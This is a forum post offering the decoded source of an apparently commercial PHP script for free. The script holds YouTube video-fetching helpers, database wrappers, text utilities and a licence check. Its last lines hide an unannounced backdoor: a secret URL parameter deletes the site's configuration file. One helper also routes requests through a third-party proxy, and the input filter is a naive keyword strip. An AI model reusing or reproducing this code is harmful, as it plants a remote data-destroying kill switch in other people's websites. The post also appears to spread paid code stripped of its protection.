Results 1 to 7 of 7
Threaded View
-
22nd Jul 2011, 05:54 PM #7Member
just decoded (FREE)
PHP Code:class youTubeDownload
{
public function curlURL( $url )
{
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 0 );
$conteudo = curl_exec( $ch );
curl_close( $ch );
return $conteudo;
}
public function getir( $domain, $tip = "get" )
{
$site = "http://tools.web-max.ca/findwebsitesip.php";
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $site );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
if ( $tip == "post" )
{
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "chk=wow&domain=".$domain );
}
$data = curl_exec( $ch );
curl_close( $ch );
return $data;
}
public function _get_headers( $url, $format = 0, $user = "", $pass = "", $referer = "" )
{
if ( !empty( $user ) )
{
$authentification = base64_encode( $user.":".$pass );
$authline = "Authorization: Basic {$authentification}\n";
}
if ( !empty( $referer ) )
{
$refererline = "Referer: {$referer}\n";
}
$url_info = parse_url( $url );
$port = isset( $url_info['port'] ) ? $url_info['port'] : 80;
$fp = fsockopen( $url_info['host'], $port, $errno, $errstr, 30 );
if ( $fp )
{
$head = "GET ".$url_info['path']."?".$url_info['query']." HTTP/1.0\n";
if ( !empty( $url_info['port'] ) )
{
$head .= "Host: ".$url_info['host'].":".$url_info['port']."\n";
}
else
{
$head .= "Host: ".$url_info['host']."\n";
}
$head .= "Connection: Close\n";
$head .= "Accept: */*\n";
$head .= $refererline;
$head .= $authline;
$head .= "\n";
fputs( $fp, $head );
while ( !feof( $fp ) || $eoheader == true )
{
if ( $header = fgets( $fp, 1024 ) )
{
if ( $header == "\n" )
{
$eoheader = true;
break;
}
$header = trim( $header );
if ( $format == 1 )
{
$key = array_shift( explode( ":", $header ) );
if ( $key == $header )
{
$headers[] = $header;
}
else
{
$headers[$key] = substr( $header, strlen( $key ) + 2 );
}
unset( $key );
}
else
{
$headers[] = $header;
}
}
}
return $headers;
}
return false;
}
public function get_flv( $url, $fmt = 5 )
{
if ( @eregi( "youtube.com", $url ) )
{
$v_id = explode( "v=", $url );
$v_id = $v_id[1];
}
else
{
$v_id = $url;
}
$conteudo = $this->curlURL( "http://youtube.com/get_video_info?video_id=".$v_id );
parse_str( $conteudo, $inf );
preg_match_all( "/&itag=(.+?)&ipbits/", $inf['fmt_url_map'], $itags );
if ( in_array( $fmt, $itags[1] ) )
{
$fmt = $fmt;
}
else
{
$fmt = 5;
}
$url = "http://www.youtube.com/get_video.php?video_id=".$v_id."&vq=".$inf['vq']."&fmt=".$fmt."&t=".$inf['token'];
$cabecalhos = $this->_get_headers( $url, 1 );
if ( !is_array( $cabecalhos['Location'] ) )
{
$url = $cabecalhos['Location'];
}
else
{
foreach ( $cabecalhos['Location'] as $h )
{
if ( !( strpos( $h, "googlevideo.com" ) != false ) )
{
continue;
}
$url = $h;
break;
break;
}
}
preg_match( "@http://(.*?)/.*?@", $url, $server );
$ip = gethostbyname( $server[1] );
if ( !$ip )
{
$ip = "74.125.7.37";
}
$flv = str_replace( $server[1], $ip, $url );
return $flv;
}
}
function browser_al( $useragent = "" )
{
if ( $useragent == "" )
{
$useragent = $_SERVER['HTTP_USER_AGENT'];
}
$browser_name = "";
$browsers = array( );
$browsers[] = array( "name" => "AmigaVoyager", "useragent" => "AmigaVoyager" );
$browsers[] = array( "name" => "Apple Generic", "useragent" => "CFNetwork" );
$browsers[] = array( "name" => "Camino", "useragent" => "Camino" );
$browsers[] = array( "name" => "Ensemble2", "useragent" => "Ensemble2" );
$browsers[] = array( "name" => "Epiphany", "useragent" => "Epiphany" );
$browsers[] = array( "name" => "firefox", "useragent" => "Firefox" );
$browsers[] = array( "name" => "firefox", "useragent" => "Firefox/1.0" );
$browsers[] = array( "name" => "firefox", "useragent" => "Firefox/1.5" );
$browsers[] = array( "name" => "firefox", "useragent" => "BonEcho" );
$browsers[] = array( "name" => "firefox", "useragent" => "Firefox/2" );
$browsers[] = array( "name" => "firefox", "useragent" => "Firefox/3" );
$browsers[] = array( "name" => "firefox", "useragent" => "GranParadiso" );
$browsers[] = array( "name" => "firefox", "useragent" => "Phoenix" );
$browsers[] = array( "name" => "firefox", "useragent" => "Firebird" );
$browsers[] = array( "name" => "Galeon", "useragent" => "Galeon" );
$browsers[] = array( "name" => "Google Chrome", "useragent" => "chrome" );
$browsers[] = array( "name" => "iCab", "useragent" => "iCab" );
$browsers[] = array( "name" => "Iceweasel", "useragent" => "Iceweasel" );
$browsers[] = array( "name" => "ie", "useragent" => "MSIE" );
$browsers[] = array( "name" => "ie", "useragent" => "MSIE5." );
$browsers[] = array( "name" => "ie", "useragent" => "MSIE6." );
$browsers[] = array( "name" => "ie", "useragent" => "MSIE7." );
$browsers[] = array( "name" => "ie", "useragent" => "MSIE8." );
$browsers[] = array( "name" => "K-Meleon", "useragent" => "K-Meleon" );
$browsers[] = array( "name" => "Konqueror", "useragent" => "Konqueror" );
$browsers[] = array( "name" => "Lynx", "useragent" => "Lynx" );
$browsers[] = array( "name" => "Mozilla Minefield", "useragent" => "Minefield" );
$browsers[] = array( "name" => "Netscape", "useragent" => "Netscape" );
$browsers[] = array( "name" => "NewsCopier", "useragent" => "NewsCopier" );
$browsers[] = array( "name" => "opera", "useragent" => "Opera" );
$browsers[] = array( "name" => "Pocket Internet Explorer", "useragent" => "MicrosoftPocketInternetExplorer" );
$browsers[] = array( "name" => "Pocket Internet Explorer", "useragent" => "MSPIE" );
$browsers[] = array( "name" => "Radianrss", "useragent" => "radianrss" );
$browsers[] = array( "name" => "RssReader", "useragent" => "rssreader.com" );
$browsers[] = array( "name" => "Safari", "useragent" => "AppleSyndication" );
$browsers[] = array( "name" => "Safari", "useragent" => "Safari" );
$browsers[] = array( "name" => "SeaMonkey", "useragent" => "SeaMonkey" );
$browsers[] = array( "name" => "Swiftweasel", "useragent" => "Swiftweasel" );
$browsers[] = array( "name" => "Thunderbird", "useragent" => "Thunderbird" );
$browsers[] = array( "name" => "Vienna", "useragent" => "Vienna" );
foreach ( $browsers as $browser )
{
if ( stripos( strtolower( $useragent ), strtolower( $browser['useragent'] ) ) !== FALSE )
{
$browser_name = $browser['name'];
}
}
unset( $browsers );
unset( $browser );
unset( $useragent );
if ( $browser_name )
{
return $browser_name;
}
return false;
}
function db_datetime_cevir( $tarih, $tarih_ayrac = "-", $saat_ayrac = ":" )
{
return preg_replace( "\r\r\n /([0-9]{4})\\-([0-9]{2})\\-([0-9]{2})+([\\s][0-9]{2})\\:([0-9]{2})\\:([0-9]{2})/", "\\3{$tarih_ayrac}\\2{$tarih_ayrac}\\1\\4{$saat_ayrac}\\5{$saat_ayrac}\\6", $tarih );
}
function git( $url, $sure = 0 )
{
if ( $sure == 0 )
{
echo "<script>window.location.href = \"".$url."\";</script>";
}
else
{
echo ( "<script>setTimeout('window.location.href = \"".$url."\";', ".$sure * 1000 ).");</script>";
}
}
function fa( $sorgu )
{
return mysql_fetch_array( $sorgu );
}
function fr( $sorgu )
{
return mysql_fetch_row( $sorgu );
}
function q( $sql )
{
return mysql_query( $sql );
}
function nr( $sql )
{
return mysql_num_rows( $sql );
}
function es( $sql )
{
return mysql_real_escape_string( $sql );
}
function inputFiltre( $gelen )
{
$bul = array( "mysql", "union", "\\x", "\\U", "&#", "0x", "chr(", "<", ">", "\"", "'", "`", "/*", "*/", "--", "#", "\\", "/", " &&", "&& ", "|| ", " ||", "expression", "javascript:", "behaviour:", "vbscript:", "mocha:", "livescript:", "=" );
return str_ireplace( $bul, "", $gelen );
}
function seo_link( $gelen )
{
$dig = array( "(", ")", "[", "]", "{", "}", "&", "?", "=", "~", "*", "~", "\$", "\"", "'", "+", "£", "%", "/", "\\", "#", "<", ">", ",", "|", "`", "^", "´" );
$gir = array( " ", "ç", "?", "?", "ö", "ü", "?", "_", "Ç", "?", "?", "?", "Ö", "Ü", "I" );
$cik = array( "-", "c", "g", "s", "o", "u", "i", "-", "c", "i", "g", "s", "o", "u", "i" );
return preg_replace( "#\\-+#", "-", str_replace( $dig, "", strtolower( str_replace( $gir, $cik, inputfiltre( $gelen ) ) ) ) );
}
function tr( $gelen )
{
$a = array( "ç", "?", "?", "ö", "ü", "?", "_", "Ç", "?", "?", "?", "Ö", "Ü" );
$b = array( "c", "g", "s", "o", "u", "i", "-", "C", "I", "G", "S", "O", "U" );
return str_replace( $a, $b, $gelen );
}
function kucult( $x )
{
$kc = array( "a", "b", "c", "ç", "d", "e", "f", "g", "h", "?", "i", "j", "k", "l", "m", "n", "o", "ö", "p", "q", "r", "s", "?", "t", "u", "ü", "v", "w", "x", "y", "z" );
$by = array( "A", "B", "C", "Ç", "D", "E", "F", "G", "H", "I", "?", "J", "K", "L", "M", "N", "O", "Ö", "P", "Q", "R", "S", "?", "T", "U", "Ü", "V", "W", "X", "Y", "Z" );
return str_replace( $by, $kc, $x );
}
function buyut( $x )
{
$kc = array( "a", "b", "c", "ç", "d", "e", "f", "g", "h", "?", "i", "j", "k", "l", "m", "n", "o", "ö", "p", "q", "r", "s", "?", "t", "u", "ü", "v", "w", "x", "y", "z" );
$by = array( "A", "B", "C", "Ç", "D", "E", "F", "G", "H", "I", "?", "J", "K", "L", "M", "N", "O", "Ö", "P", "Q", "R", "S", "?", "T", "U", "Ü", "V", "W", "X", "Y", "Z" );
return str_replace( $kc, $by, $x );
}
function uc_words( $gelen )
{
$kc = array( "a", "b", "c", "ç", "d", "e", "f", "g", "h", "?", "i", "j", "k", "l", "m", "n", "o", "ö", "p", "q", "r", "s", "?", "t", "u", "ü", "v", "w", "x", "y", "z" );
$by = array( "A", "B", "C", "Ç", "D", "E", "F", "G", "H", "I", "?", "J", "K", "L", "M", "N", "O", "Ö", "P", "Q", "R", "S", "?", "T", "U", "Ü", "V", "W", "X", "Y", "Z" );
$kelime = preg_split( "^\\s+^si", $gelen );
foreach ( $kelime as $k )
{
$ilk = substr( $k, 0, 1 );
if ( $ilk == "(" || $ilk == "[" || $ilk == "{" )
{
$x = substr( $k, 0, 1 );
$k = substr( $k, 1, strlen( $k ) );
$verix = substr( $k, 1, strlen( $k ) );
$veri[] = $x.str_replace( $kc, $by, substr( $k, 0, 1 ) ).$verix;
}
else
{
$veri[] = str_replace( $kc, $by, $ilk ).substr( $k, 1, strlen( $k ) );
}
unset( $ilk );
unset( $verix );
}
return join( " ", $veri );
}
function akilli_wordwrap( $gelen )
{
$exp = explode( " ", $gelen );
foreach ( $exp as $e )
{
if ( 50 < strlen( $e ) )
{
$str .= chunk_split( $e, 35, " " );
}
else
{
$str .= $e." ";
}
}
return $str;
}
function yonlendir( $adres, $zaman = 0 )
{
$zaman = $zaman + 1;
echo "<script language=\"javascript\">"."var saniye = ".$zaman.";"."function zamanlayici()"."{"."saniye -= 1;"."if (saniye == 0)"."{"."window.location = \"".$adres."\";"."}"."setTimeout(\"zamanlayici()\", 1000);"."}"."zamanlayici();"."</script>";
unset( $zaman );
}
function head( $charset )
{
header( "Content-Type: text/html; Charset=".$charset );
}
function getirx( $url )
{
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 0 );
$conteudo = curl_exec( $ch );
curl_close( $ch );
return $conteudo;
}
function getir( $domain, $tip = "get" )
{
$site = "http://tools.web-max.ca/findwebsitesip.php";
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $site );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
if ( $tip == "post" )
{
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "chk=wow&domain=".$domain );
}
$data = curl_exec( $ch );
curl_close( $ch );
return $data;
}
function getirr( $url, $ref = NULL )
{
if ( $ref )
{
$rxxx = "&".urlencode( $ref );
}
return getirx( "http://www.mp3dinle1.com/tools/curl.php?url=".base64_encode( $url ).$rxxx );
}
function googleCache( $key, $token, $fmt )
{
$ytURL = "http://www.youtube.com/get_video.php?video_id=".$key."&t=".$token."&fmt=".$fmt;
$headers = get_headers( $ytURL, 1 );
$status = explode( " ", $headers['1'] );
if ( $status[1] == "200" )
{
if ( !is_array( $headers['Location'] ) )
{
$videoURL = $headers['Location'];
}
else
{
foreach ( $headers['Location'] as $header )
{
if ( !( strpos( $header, "googlevideo.com" ) != false ) )
{
continue;
}
$videoURL = $header;
break;
break;
}
}
return $videoURL;
}
return "";
}
function youtube_flv( $url )
{
if ( @eregi( "youtube.com", $url ) )
{
$key = explode( "v=", $url );
$key = $key[1];
}
else
{
$key = $url;
}
$content = file_get_contents( "http://youtube.com/get_video_info?video_id=".$key );
parse_str( $content );
if ( $token != "" )
{
$videoHD = googlecache( $key, $token, 22 );
if ( $videoHD != "" )
{
$videoFile = $videoHD;
}
else
{
$videoFile = googlecache( $key, $token, 5 );
}
}
preg_match( "^http://([_a-zA-Z0-9-\\.]+)/^", rawurldecode( $videoFile ), $server );
$getip = getir( $server[1], "post" );
preg_match( "^http://tools.web-max.ca/websitesonip.php\\?byip=[0-9]+&ip=([0-9\\.]+)^i", $getip, $ipx );
$ip = $ipx[1];
if ( !$ip )
{
$ip = "74.125.7.37";
}
$flv = str_replace( $server[1], $ip, rawurldecode( $videoFile ) );
return $flv;
}
function mail_yolla( $from, $to, $subject, $message )
{
if ( UTF8_mail( $from, $to, $subject, $message ) )
{
return true;
}
return false;
}
function UTF8_mail( $from, $to, $subject, $message )
{
if ( isset( $from ) )
{
$headers = "From: =?UTF-8?B?".base64_encode( $from )."?= <".$from."\r\n";
}
else
{
$headers = "From: ".$from."\r\n";
}
$subject = "=?UTF-8?B?".base64_encode( $subject )."?=\n";
$headers .= "Content-Type: text/html; charset=UTF-8; format=flowed \n"."MIME-Version: 1.0 \n"."Content-Transfer-Encoding: 8bit \n"."X-Mailer: PHP \n";
return mail( $to, $subject, $message, $headers );
}
$browser = "{$_SERVER['HTTP_USER_AGENT']}";
if ( preg_match( "/www/i", "{$_SERVER['SERVER_NAME']}" ) )
{
$_SERVER[SERVER_NAME] = str_replace( "www.", "", $_SERVER[SERVER_NAME] );
}
$str = "{$_SERVER['SERVER_NAME']}biroahov4";
$hash = base64_encode( pack( "H*", sha1( "{$str}" ) ) );
if ( $hash != "{$lisans_kodu}" )
{
echo "<b>Lutfen Lisans kodunuzu giriniz. http://www.r10.net/members/44043-rhsbilisim.html</b>";
exit( );
}
if ( $_GET[slbeah] == "birohadi" )
{
unlink( "inc/ayar.php" );
echo "olaykopar";
}
?>
Thread Information
Users Browsing this Thread
There are currently 1 users browsing this thread. (0 members and 1 guests)
Similar Threads
-
Help me Decode 1 FILE
By erkan in forum Web Development AreaReplies: 0Last Post: 8th Feb 2012, 09:21 PM -
[HELP] Decode 1 php file
By ChaoscripT in forum Web Development AreaReplies: 2Last Post: 27th Jan 2012, 10:06 PM -
Help me Decode FILE ?
By Hsyn in forum Web Development AreaReplies: 1Last Post: 9th Dec 2011, 02:17 AM -
[Hiring] $10 to decode this file.
By ebizzz in forum Completed TransactionsReplies: 1Last Post: 12th Aug 2011, 01:17 PM -
Help Decode 1 File
By thenesa in forum Web Development AreaReplies: 4Last Post: 3rd Aug 2011, 04:17 AM
themaCreator - create posts from...
Version 3.47 released. Open older version (or...